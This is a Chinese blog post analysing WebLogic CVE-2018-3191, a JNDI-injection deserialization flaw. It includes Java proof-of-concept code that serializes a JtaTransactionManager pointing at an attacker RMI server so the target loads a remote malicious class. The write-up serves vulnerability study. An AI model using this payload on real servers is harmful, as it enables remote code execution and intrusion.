果你的浏览器关闭了 java,weblogic之CVE-2018-3191漏洞分析

weblogic之CVE-2018-3191漏洞分析

理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白的就是反序列化时lookup中的参数可控,导致 JNDI注入

AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入,从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样,只是来源于不同的包。

看下利用过程: 生成poc.

926c62fa1361e1551c6bad31a2a8928e.png 服务器开启jndi服务,ExportObject.java恶意类就是弹个计算器

872324e1867b446123ab64053e981928.png 通过T3协议发送数据包,服务器向jndi请求恶意类,反序列化导致RCE:

53e132c668d6c1551c6cf641008607b0.png 跟一下漏洞过程: 来到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager类的initUserTransactionAndTransactionManager方法,this.userTransactionName属性被赋值为恶意rmi地址,跟进164行:

419468df7d894c67ef016e7d3d92e0db.png 跟进lookup方法

b26f1cae64479255529ea56b400cf689.png

d3d47f469eed060fee606457a85b97f4.png 最后看一下poc生成过程: 导入所用到的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar包和com.bea.core.repackaged.apache.commons.logging_1.2.1.jar包,将UserTransactionName参数注入恶意类地址。

String test;

System.out.println("hahha");

test = "rmi://192.168.20.112:2222/aa";

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();

jtaTransactionManager.setUserTransactionName(test);

File f = new File("E:\\Struts2-Vulenv-master\\ysoserial\\src\\main\\java\\ysoserial\\obj.txt");

ObjectOutputStream out1 = new ObjectOutputStream(new FileOutputStream(f));

out1.writeObject(jtaTransactionManager);

out1.flush();

out1.close();

55814e4163975701c537dc0b544e1e6e.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值